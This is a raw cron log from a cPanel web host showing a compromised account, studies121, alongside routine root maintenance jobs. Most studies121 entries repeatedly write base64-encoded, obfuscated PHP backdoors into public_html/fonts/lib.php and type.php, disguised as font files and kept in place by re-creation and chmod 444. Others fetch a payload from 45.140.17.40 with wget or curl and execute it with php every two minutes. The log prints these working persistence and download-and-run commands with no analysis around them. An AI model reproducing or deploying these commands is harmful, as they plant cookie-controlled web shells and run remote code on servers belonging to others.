Sep  4 12:23:01 ip-184-168-122-23 CROND[23675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:23:01 ip-184-168-122-23 CROND[23676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:24:02 ip-184-168-122-23 CROND[23853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:24:02 ip-184-168-122-23 CROND[23855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:24:02 ip-184-168-122-23 CROND[23859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:24:02 ip-184-168-122-23 CROND[23858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:24:02 ip-184-168-122-23 CROND[23860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:25:01 ip-184-168-122-23 CROND[23974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:25:01 ip-184-168-122-23 CROND[23976]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 12:25:01 ip-184-168-122-23 CROND[23978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:25:01 ip-184-168-122-23 CROND[23977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:25:01 ip-184-168-122-23 CROND[23981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:25:01 ip-184-168-122-23 CROND[23982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:25:01 ip-184-168-122-23 CROND[23980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:26:01 ip-184-168-122-23 CROND[24086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:26:01 ip-184-168-122-23 CROND[24091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:26:01 ip-184-168-122-23 CROND[24092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:26:01 ip-184-168-122-23 CROND[24093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:26:01 ip-184-168-122-23 CROND[24094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:27:01 ip-184-168-122-23 CROND[24204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:27:01 ip-184-168-122-23 CROND[24205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:27:01 ip-184-168-122-23 CROND[24203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:27:01 ip-184-168-122-23 CROND[24206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:28:02 ip-184-168-122-23 CROND[24342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:28:02 ip-184-168-122-23 CROND[24345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:28:02 ip-184-168-122-23 CROND[24346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:28:02 ip-184-168-122-23 CROND[24344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:28:02 ip-184-168-122-23 CROND[24347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:29:01 ip-184-168-122-23 CROND[24499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:29:01 ip-184-168-122-23 CROND[24500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:29:01 ip-184-168-122-23 CROND[24501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:29:01 ip-184-168-122-23 CROND[24502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:30:02 ip-184-168-122-23 CROND[24624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24621]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:30:02 ip-184-168-122-23 CROND[24630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:31:01 ip-184-168-122-23 CROND[24744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:31:01 ip-184-168-122-23 CROND[24746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:31:01 ip-184-168-122-23 CROND[24745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:31:01 ip-184-168-122-23 CROND[24747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:31:01 ip-184-168-122-23 CROND[24748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:32:01 ip-184-168-122-23 CROND[24831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:32:01 ip-184-168-122-23 CROND[24833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:32:01 ip-184-168-122-23 CROND[24834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:32:01 ip-184-168-122-23 CROND[24835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:32:01 ip-184-168-122-23 CROND[24836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:33:01 ip-184-168-122-23 CROND[24921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:33:01 ip-184-168-122-23 CROND[24923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:33:01 ip-184-168-122-23 CROND[24924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:33:01 ip-184-168-122-23 CROND[24922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:34:01 ip-184-168-122-23 CROND[24999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:34:01 ip-184-168-122-23 CROND[25000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:34:01 ip-184-168-122-23 CROND[25006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:34:01 ip-184-168-122-23 CROND[25005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:34:01 ip-184-168-122-23 CROND[25007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:35:01 ip-184-168-122-23 CROND[25176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
